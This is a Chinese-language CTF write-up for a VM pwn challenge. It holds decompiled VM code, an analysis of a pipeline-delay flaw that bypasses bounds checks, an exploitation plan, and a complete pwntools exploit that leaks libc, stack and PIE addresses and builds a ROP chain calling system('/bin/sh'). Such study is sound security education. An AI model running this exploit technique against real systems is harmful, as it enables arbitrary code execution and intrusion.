文章目录
- 参考
- 检查
- 逆向
- vm::run
- vm::vm
- vm_alu::set_input
- vm_mem::set_input
- vm_id::run
- vm_alu::run
- vm_mem::run
- 漏洞
- 思路
- 参考的exp
参考
https://forum.butian.net/share/3048
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap
检查
逆向
vm::run
__int64 __fastcall vm::run(vm *my_vm)
{__int64 v1; // raxint v3; // [rsp+1Ch] [rbp-4h]while ( 1 ){vm_alu::set_input(my_vm->vm_alu, my_vm);vm_mem::set_input(my_vm->vm_mem, my_vm);my_vm->pc += (int)vm_id::run(my_vm->vm_id, my_vm);// 识别当前指令并返回长度v3 = vm_alu::run(my_vm->vm_alu, my_vm); // 执行当前指令,得到临时结果vm_mem::run(my_vm->vm_mem); // 将结果转换到对应的位置中去if ( !v3 )break;if ( v3 == -1 ){v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);exit(0);}}return 0LL;
}
vm::vm
void __fastcall vm::vm(vm *my_vm)
{struct vm_id *vm_id; // raxstruct vm_alu *vm_alu; // raxvm_mem *v3; // rax__int64 i; // rdxmy_vm->code_base = mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);my_vm->data_base = my_vm->code_base + 0x2000LL;my_vm->stack_base = my_vm->data_base + 0x3000LL;my_vm->data_size = 0x3000LL;my_vm->code_size = 0x2000LL;my_vm->stack_size = 0x1000LL;vm_id = (struct vm_id *)operator new(0x28uLL);LODWORD(vm_id->isvalid_id) = 0;vm_id->opcode = 0LL;vm_id->optype = 0LL;vm_id->arg1 = 0LL;vm_id->arg2 = 0LL;my_vm->vm_id = vm_id;vm_alu = (struct vm_alu *)operator new(0x50uLL);*(_OWORD *)&vm_alu->isvali_id = 0LL;*(_OWORD *)&vm_alu->optype = 0LL;*(_OWORD *)&vm_alu->arg2 = 0LL;*(_OWORD *)&vm_alu->content_change_addr = 0LL;*(_OWORD *)&vm_alu->stack_ptr_addr = 0LL;my_vm->vm_alu = vm_alu;v3 = (vm_mem *)operator new(0x28uLL);v3->is_valid = 0;v3->value_to_addr_time = 0;for ( i = 0LL; ; ++i ){v3->val_to_ad[i].addr = 0LL;v3->val_to_ad[i].value = 0LL;if ( i == 1 )break;}my_vm->vm_mem = v3;
}
vm_alu::set_input
vm_alu *__fastcall vm_alu::set_input(vm_alu *my_vm_alu, vm *my_vm)
{vm_id *vm_id; // rdxvm_alu *result; // rax__int64 opcode; // rbx__int64 arg1; // rbxvm_id = my_vm->vm_id;result = my_vm_alu;opcode = vm_id->opcode;my_vm_alu->isvali_id = vm_id->isvalid_id;my_vm_alu->opcode = opcode;arg1 = vm_id->arg1;my_vm_alu->optype = vm_id->optype;my_vm_alu->arg1 = arg1;my_vm_alu->arg2 = vm_id->arg2;return result;
}
vm_mem::set_input
vm_mem *__fastcall vm_mem::set_input(vm_mem *my_vm_men, vm *my_vm)
{vm_alu *vm_alu; // rdxvm_mem *result; // rax_QWORD *content_change_addr; // rbx_QWORD *stack_ptr_addr; // rbxvm_alu = my_vm->vm_alu;result = my_vm_men;content_change_addr = vm_alu->content_change_addr;*(_QWORD *)&my_vm_men->is_valid = *(_QWORD *)&vm_alu->isvalid_alu;my_vm_men->val_to_ad[0].addr = content_change_addr;stack_ptr_addr = vm_alu->stack_ptr_addr;my_vm_men->val_to_ad[0].value = vm_alu->alu_result;my_vm_men->val_to_ad[1].addr = stack_ptr_addr;my_vm_men->val_to_ad[1].value = vm_alu->stack_ptr_after_change;return result;
}
vm_id::run
__int64 __fastcall vm_id::run(vm_id *my_vm_id, vm *my_vm)
{char *my_vm_pc; // raxchar *optype_pc_1; // raxint v4; // eaxchar *first_value_pc_1; // raxchar *first_value_pc_2; // raxint v7; // eaxchar *optype_pc_2; // raxchar opcode; // [rsp+18h] [rbp-18h]char optype; // [rsp+19h] [rbp-17h]char first_value; // [rsp+1Ah] [rbp-16h]char first_value_1; // [rsp+1Ah] [rbp-16h]char second_valuea; // [rsp+1Ah] [rbp-16h]char second_valueb; // [rsp+1Ah] [rbp-16h]char value1; // [rsp+1Ah] [rbp-16h]char optype_1; // [rsp+1Bh] [rbp-15h]unsigned int change_pc; // [rsp+1Ch] [rbp-14h]_BYTE *optype_pc; // [rsp+20h] [rbp-10h]char *arg_value_pc; // [rsp+20h] [rbp-10h]char *value1_pc; // [rsp+20h] [rbp-10h]my_vm_pc = (char *)(my_vm->code_base + my_vm->pc);// 指令位置指针,按字节识别optype_pc = my_vm_pc + 1;opcode = *my_vm_pc;change_pc = 1;if ( *my_vm_pc <= 0 || opcode > 8 ){if ( opcode <= 8 || opcode > 10 ){if ( opcode && opcode != 11 ){my_vm_id->opcode = -1LL;}else{my_vm_id->opcode = opcode; // 11 nop指令my_vm_id->optype = 0LL;my_vm_id->arg1 = 0LL;my_vm_id->arg2 = 0LL;}}else{ // 9-10 push popoptype_pc_2 = my_vm_pc + 1;value1_pc = optype_pc + 1;optype_1 = *optype_pc_2;change_pc = 2;my_vm_id->optype = *optype_pc_2;if ( (optype_1 & 3) == 2 ) // value为reg的标号{change_pc = 3;value1 = *value1_pc;if ( vm_id::check_regs(my_vm_id, *value1_pc, my_vm) )// 检查标号是否小于等于3{my_vm_id->opcode = opcode;my_vm_id->arg1 = value1;my_vm_id->arg2 = 0LL;}else // 否则标号越界,错误{my_vm_id->opcode = -1LL;}}else // optype只能为寄存器类型,否则错误{my_vm_id->opcode = -1LL;}if ( (my_vm->stack_ptr & 7LL) != 0 ) // 八对齐,否则错误my_vm_id->opcode = -1LL;if ( opcode == 9 ) // stack_ptr从零开始,相对地址从stack_base{if ( my_vm->stack_ptr >= my_vm->stack_size || my_vm->stack_ptr <= 7uLL )my_vm_id->opcode = -1LL; // push的话要判断stack_ptr还有多余的8可以减去,并且要在stack_size里面,从零开始}else if ( (unsigned __int64)(my_vm->stack_size - 8LL) < my_vm->stack_ptr ){ // pop的话判断stack_ptr+8不会超过stack_size上界my_vm_id->opcode = -1LL;}}}else // 1-8{optype_pc_1 = my_vm_pc + 1;arg_value_pc = optype_pc + 1;optype = *optype_pc_1;change_pc = 2;my_vm_id->optype = *optype_pc_1;v4 = optype & 3;if ( v4 == 2 ) // value是寄存器下标{change_pc = 3;first_value_pc_1 = arg_value_pc++; // 杀千刀的,这里的值是+之前的first_value = *first_value_pc_1;if ( vm_id::check_regs(my_vm_id, *first_value_pc_1, my_vm) ){my_vm_id->opcode = opcode;my_vm_id->arg1 = first_value;}else{my_vm_id->opcode = -1LL;}}else if ( v4 == 3 ) // value也是寄存器下标,要检查寄存器中值是否超过地址界限{change_pc = 3;first_value_pc_2 = arg_value_pc++;first_value_1 = *first_value_pc_2;if ( vm_id::check_addr(my_vm_id, my_vm->regist[*first_value_pc_2], my_vm) ){my_vm_id->opcode = opcode;my_vm_id->arg1 = first_value_1;}else{my_vm_id->opcode = -1LL;}}else{my_vm_id->opcode = -1LL;}if ( my_vm_id->opcode != -1LL ){v7 = (optype >> 2) & 3;if ( v7 == 3 ){ // 参数是寄存器的下标++change_pc;second_valueb = *arg_value_pc;if ( vm_id::check_addr(my_vm_id, my_vm->regist[*arg_value_pc], my_vm) )my_vm_id->arg2 = second_valueb;elsemy_vm_id->opcode = -1LL;}else{if ( ((optype >> 2) & 3u) > 3 ) // 类型大于3不存在{
LABEL_25:my_vm_id->opcode = -1LL;goto LABEL_45;}if ( v7 == 1 ) // 参数是立即数{change_pc += 8; // pc要变化八个字节,八个字节存立即数my_vm_id->arg2 = *(_QWORD *)arg_value_pc;}else{if ( v7 != 2 )goto LABEL_25;++change_pc; // 是寄存器second_valuea = *arg_value_pc;if ( vm_id::check_regs(my_vm_id, *arg_value_pc, my_vm) )my_vm_id->arg2 = second_valuea;elsemy_vm_id->opcode = -1LL;}}}}
LABEL_45:LODWORD(my_vm_id->isvalid_id) = 1;return change_pc;
}
_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{return a2 <= 3;
}
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{return a3->data_size - 8LL >= a2; // 地址少八,是因为地址内容是包括后面的八个字节内容
}
vm_alu::run
__int64 __fastcall vm_alu::run(vm_alu *my_vm_alu, vm *my_vm)
{__int64 arg2_type; // rax__int64 arg1_type; // raxunsigned __int64 opcode; // raxif ( !LODWORD(my_vm_alu->isvali_id) )return 1LL;if ( my_vm_alu->opcode && my_vm_alu->opcode <= 8uLL ){arg2_type = (my_vm_alu->optype >> 2) & 3LL;if ( arg2_type == 3 ){ // 参数为寄存器存的地址的值my_vm_alu->arg2 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg2]);}else if ( arg2_type != 1 ){if ( arg2_type != 2 )return 0xFFFFFFFFLL;my_vm_alu->arg2 = my_vm->regist[my_vm_alu->arg2];// 寄存器存的值}arg1_type = my_vm_alu->optype & 3LL;if ( arg1_type == 2 ){my_vm_alu->value_to_addr_time = 1; // 只要修改一次地址的内容my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 存储寄存器的值在vm结构体里的地址my_vm_alu->arg1 = my_vm->regist[my_vm_alu->arg1];}else{if ( arg1_type != 3 )return 0xFFFFFFFFLL;if ( (my_vm_alu->optype & 0xCLL) == 12 )return 0xFFFFFFFFLL;my_vm_alu->value_to_addr_time = 1;my_vm_alu->content_change_addr = (_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储参数所在地址my_vm_alu->arg1 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储地址的参数内容}switch ( my_vm_alu->opcode ){case 1LL:my_vm_alu->alu_result = my_vm_alu->arg2 + my_vm_alu->arg1;break;case 2LL:my_vm_alu->alu_result = my_vm_alu->arg1 - my_vm_alu->arg2;break;case 3LL:my_vm_alu->alu_result = my_vm_alu->arg1 << my_vm_alu->arg2;break;case 4LL:my_vm_alu->alu_result = my_vm_alu->arg1 >> my_vm_alu->arg2;break;case 5LL:my_vm_alu->alu_result = my_vm_alu->arg2;break;case 6LL:my_vm_alu->alu_result = my_vm_alu->arg2 & my_vm_alu->arg1;break;case 7LL:my_vm_alu->alu_result = my_vm_alu->arg2 | my_vm_alu->arg1;break;case 8LL:my_vm_alu->alu_result = my_vm_alu->arg2 ^ my_vm_alu->arg1;break;default:goto exit;}goto exit;}opcode = my_vm_alu->opcode;if ( opcode == 11 ){my_vm_alu->isvalid_alu = 0;return 1LL;}if ( opcode > 0xB ) // 大于11无效opcodereturn 0xFFFFFFFFLL;if ( opcode == 10 ) // pop{my_vm_alu->value_to_addr_time = 2;my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 得到寄存器内容的地址,pop会修改寄存器my_vm_alu->alu_result = *(_QWORD *)(my_vm->stack_base + my_vm->stack_ptr);my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr + 8LL;goto exit;}if ( !opcode ){my_vm_alu->isvalid_alu = 0;return 0LL;}if ( opcode != 9 )return 0xFFFFFFFFLL;my_vm_alu->value_to_addr_time = 2; // pushmy_vm_alu->content_change_addr = (_QWORD *)(my_vm->stack_base + my_vm->stack_ptr - 8LL);my_vm_alu->alu_result = my_vm->regist[my_vm_alu->arg1];my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr - 8LL;
exit:my_vm_alu->isvalid_alu = 1;return 1LL;
}
vm_mem::run
__int64 __fastcall vm_mem::run(vm_mem *my_vm_men)
{__int64 result; // raxint i; // [rsp+1Ch] [rbp-4h]result = (unsigned int)my_vm_men->is_valid; // alu是否成功执行if ( (_DWORD)result ){for ( i = 0; ; ++i ){result = (unsigned int)my_vm_men->value_to_addr_time;// 第一次赋值改变的寄存器// 第二次赋值改变栈地址if ( i >= (int)result )break;*my_vm_men->val_to_ad[i].addr = my_vm_men->val_to_ad[i].value;// 赋值}}return result;
}
漏洞
存在延迟,有个依赖关系,各个结构体的isvalid变量,代表前一步是否执行完
分为三个阶段
- 解析得到vid(存在检查,寄存器的标号和寄存器存储的内容(访问的地址)不能超过data_size)
- 执行得到alu
- 改变值得到mem
vid和改变值不是立即发生的,解析得到vid之后改变参数值(之前的指令到达mem步),那么就可以绕过vid中对参数的检查
思路
- 任意地址写通过寄存器存储:你要写的地址-database的值,然后通过mem方式mov [寄存器+database], 值或寄存器 就可以将值写入任意地址
- 任意地址读也差不多,寄存器存储:你要读的地址-database的值,然后通过mem方式mov 寄存器,[寄存器+database],然后寄存器就是你要读的地址里的内容了
泄露libc地址
泄露database的地址
泄露environ地址
得到environ内的栈地址
得到对应的返回地址
泄露pie地址
得到pie基地址
控制到database在vm上的位置
往database在vm结构体所在地址写入栈的返回地址所在地址
写入ret
写入pop rdi ret
写入/bin/sh
写入system地址
最后没有指令可以执行vm::run退出会执行之前写入的rop,最后这里加个ret是system执行时候对齐
结果
参考的exp
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'def inst():return 1def mem():return 3def reg():return 2def args(flag1,flag2,arg1,arg2):var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little')if flag2==1:return var+p64(arg2)else:return var+arg2.to_bytes(1,'little')def arg(flag,arg):var=flag.to_bytes(1,'little')if flag==1:return var+p64(arg)else:return var+arg.to_bytes(1,'little')def add(arg):return b'\x01'+argdef sub(arg):return b'\x02'+argdef rshift(arg):return b'\x03'+argdef lshift(arg):return b'\x04'+argdef mov(arg):return b'\x05'+argdef andd(arg):return b'\x06'+argdef orr(arg):return b'\x07'+argdef xor(arg):return b'\x08'+argdef pop(arg):return b'\x09'+argdef push(arg):return b'\x0a'+argdef nop():return b'\x0b'p=process('./pwn')
libc=ELF('./libc.so.6')# libcbase
code=mov(args(reg(),inst(),0,0x27ff8))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x459a0))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# membase
code+=mov(args(reg(),inst(),0,0x28020))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=sub(args(reg(),inst(),2,0xc040))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# save libcbase membase
code+=mov(args(mem(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),inst(),0,8))
code+=nop()
code+=mov(args(mem(),reg(),0,2))
code+=nop()# stack cal
code+=mov(args(reg(),inst(),0,0x222200))
code+=nop()
code+=add(args(reg(),reg(),1,0))
code+=nop()
code+=sub(args(reg(),reg(),1,2))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# stack
code+=mov(args(reg(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x130))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# pie
code+=mov(args(reg(),reg(),3,1))
code+=nop()
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(reg(),mem(),3,0))
code+=nop()
code+=sub(args(reg(),inst(),3,0x1ddd))
code+=nop()
code+=add(args(reg(),inst(),3,0x4200-8))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# change membase
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(mem(),reg(),0,1))
code+=nop()# gap
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=nop()rdi=0x2a3e5
ret=0x29139
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.symbols['system']
# rop
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,ret))
code+=nop()
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,rdi))
code+=nop()
code+=mov(args(reg(),inst(),3,8))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,bin_sh))
code+=nop()
code+=mov(args(reg(),inst(),3,0x10))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,system))
code+=nop()
code+=mov(args(reg(),inst(),3,0x18))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()# end
code+=nop()
code+=nop()#gdb.attach(p)
p.sendafter(b'plz input your vm-code\n',code)
p.interactive()